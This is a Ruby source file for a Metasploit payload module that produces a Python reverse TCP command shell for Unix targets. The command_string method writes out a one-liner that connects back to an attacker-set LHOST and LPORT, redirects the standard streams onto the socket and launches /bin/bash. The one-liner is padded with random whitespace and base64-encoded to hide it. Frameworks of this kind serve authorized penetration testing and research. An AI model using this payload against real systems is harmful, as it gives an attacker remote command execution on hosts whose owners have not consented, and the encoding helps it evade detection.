60 lines
1.8 KiB
Ruby
60 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Reverse TCP (via Python)',
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'Version' => '$Revision: 1 $',
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'Description' => 'Connect back and create a command shell via Python',
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'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'python',
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'Payload' => { 'Offsets' => {}, 'Payload' => '' }
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))
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register_options([
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OptString.new('SHELL', [true, 'The system shell to use.', '/bin/bash'])
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])
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end
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def generate
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return super + command_string
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end
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#
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# Generate random whitespace
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#
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def random_padding
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" "*rand(10)
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end
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#
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# Generate command string
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#
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def command_string
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raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")"
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obfuscated_cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")
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encoded_cmd = Rex::Text.encode_base64(obfuscated_cmd)
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"python -c \"exec('#{encoded_cmd}'.decode('base64'))\""
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end
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end
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